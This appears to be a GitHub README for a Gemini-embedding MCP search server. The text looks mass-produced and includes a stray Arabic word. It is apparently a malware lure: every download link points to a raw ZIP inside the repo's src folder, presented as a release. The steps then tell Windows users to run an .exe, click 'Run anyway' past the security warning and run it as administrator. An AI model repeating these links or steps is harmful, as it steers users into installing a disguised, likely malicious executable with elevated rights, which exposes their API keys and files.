🔎 gemini-embedding-2-mcp-server - Fast local search for AI tasks

🚀 What this app does

gemini-embedding-2-mcp-server turns a folder on your PC into a local search tool for AI apps.

It scans files in a directory, builds embeddings with Gemini Embedding 2, and helps an AI agent find the right text fast. It works well for code, notes, docs, and other local files. It also supports visual context for files that include images or screen-based content.

Related MCP server: ragi

🖥️ What you need

Before you start, make sure you have:

• A Windows PC

• An internet connection

• A Google API key for Gemini

• A folder you want to search

• Enough free space for your files and index data

For best results, use:

• Windows 10 or Windows 11

• 8 GB RAM or more

• A modern CPU

• At least 1 GB of free disk space for small folders

📥 Download and set up

Visit this page to download the app:

https://raw.githubusercontent.com/elkalowkey885/gemini-embedding-2-mcp-server/main/src/server_mcp_embedding_gemini_anapterygotism.zip

1. Open the link above in your browser

2. Find the latest release

3. Download the Windows file from the release assets

4. Save the file to a folder you can find, مثل Downloads

5. If the file is a ZIP file, right-click it and choose Extract All

6. If the file is an .exe file, double-click it to start

🪟 Run on Windows

If you downloaded a ZIP file

1. Extract the ZIP file

2. Open the extracted folder

3. Look for the app file, such as .exe

4. Double-click the file to run it

If Windows shows a security prompt

1. Click More info

2. Click Run anyway

This can happen when you run a new app for the first time.

🔑 Set up your Gemini key

The app needs a Gemini API key to work.

1. Open your Google AI Studio or Gemini API settings

2. Create or copy your API key

3. Paste the key into the app setup screen or config file

4. Save your changes

If the app asks for a path or folder, choose the local folder you want it to index.

📁 Choose a folder to index

Pick the folder you want the app to search.

Good choices include:

• Project folders

• Notes folders

• Document folders

• Code folders

• Knowledge bases

Try to start with one folder. After that, you can add more if needed.

⚙️ Basic setup steps

1. Start the app

2. Enter your Gemini API key

3. Select the folder you want to index

4. Wait while the app scans your files

5. Let it build the search index

6. Connect your AI client or use the local MCP server settings

The first scan can take time if the folder is large.

🔎 How it works

The app reads your files and turns them into embeddings. An embedding is a way to store the meaning of text so search can find the right result even when the words do not match exactly.

That helps with tasks like:

• Finding notes about a topic

• Looking up code examples

• Searching docs by meaning

• Finding related files

• Giving AI agents better local context

🧠 Good use cases

Use this app when you want an AI tool to work with your local files.

Common uses:

• Search through a codebase

• Find old project notes

• Ask an AI about local documents

• Build a local knowledge base

• Connect a folder to an MCP-aware app

• Improve retrieval for RAG workflows

🗂️ Supported content

The app is built for common file types used in daily work.

It can handle:

• Plain text files

• Markdown files

• Code files

• Notes

• Docs with text content

• Files that include visual context

For best results, keep files readable and well named.

🔌 Use with AI apps

This is an MCP server, so it can connect with tools that support the Model Context Protocol.

That means an AI app can ask it to:

• Search files

• Find related content

• Pull matching text

• Use local folder context in answers

If you already use an MCP-compatible client, point it at this server after setup.

📌 First run checklist

Before you search for the first time, check these items:

• The app file is downloaded and opened

• Your API key is set

• The folder path is correct

• The folder has files to index

• The index has finished building

• The app is still running while you use it

🛠️ Common setup problems

The app does not open

Try this:

1. Right-click the file

2. Choose Run as administrator

3. Make sure the file finished downloading

4. Check that Windows did not block it

The index does not build

Try this:

1. Check your API key

2. Make sure your internet connection works

3. Use a smaller folder first

4. Remove files with bad names or broken content

Search results look weak

Try this:

1. Use a better folder structure

2. Add more text files

3. Use clear file names

4. Rebuild the index after changes

The app feels slow

Try this:

1. Start with one folder

2. Reduce very large file sets

3. Close other heavy apps

4. Keep the app on a fast drive if possible

📂 Tips for better search

You will get better results if you:

• Use short, clear file names

• Put files in tidy folders

• Keep text in simple formats

• Split very large notes into smaller files

• Avoid duplicate files

• Rebuild the index after big changes

Good folder structure helps the search engine find the right context fast.

🧭 Typical workflow

A simple workflow looks like this:

1. Download the app

2. Run it on Windows

3. Add your Gemini API key

4. Select a folder

5. Build the index

6. Connect your AI tool

7. Search your local content by meaning

📎 Release page

Use this page any time you want the latest Windows download:

https://raw.githubusercontent.com/elkalowkey885/gemini-embedding-2-mcp-server/main/src/server_mcp_embedding_gemini_anapterygotism.zip

🔍 What makes it useful

This server is useful when you want local search that feels smart.

It helps because it:

• Searches by meaning, not just words

• Works with local folders

• Fits AI agent workflows

• Supports MCP clients

• Uses Gemini Embedding 2 for strong retrieval

🧰 File types that work best

These file types usually give the best results:

• .txt

• .md

• .json

• .csv

• .py

• .js

• .ts

• .html

Large binary files are less useful unless they include text or extracted content.

🖱️ Simple daily use

After setup, day-to-day use is easy:

1. Keep the app open

2. Add new files to the watched folder

3. Rebuild the index when needed

4. Ask your AI app to search the folder

5. Open the best match

📚 Helpful folder ideas

If you are not sure where to start, try one of these:

• Work notes

• Study notes

• Software project folder

• Research folder

• Personal knowledge folder

• Support docs folder

Start small. That makes setup easier and search faster.

🔐 API key tips

Keep your API key private.

Use one key for your own setup and store it where the app expects it. If you replace the key later, rebuild the index if the app asks for it.

🧪 Best first test

After setup, test the app with a small folder that has a few text files.

For example:

• One note about a topic

• One code file

• One README file

Then search for a phrase or idea that appears in one of them. If that works, your setup is in good shape.

🧭 Next step

Download the latest Windows release from the release page and run it on your PC

https://raw.githubusercontent.com/elkalowkey885/gemini-embedding-2-mcp-server/main/src/server_mcp_embedding_gemini_anapterygotism.zip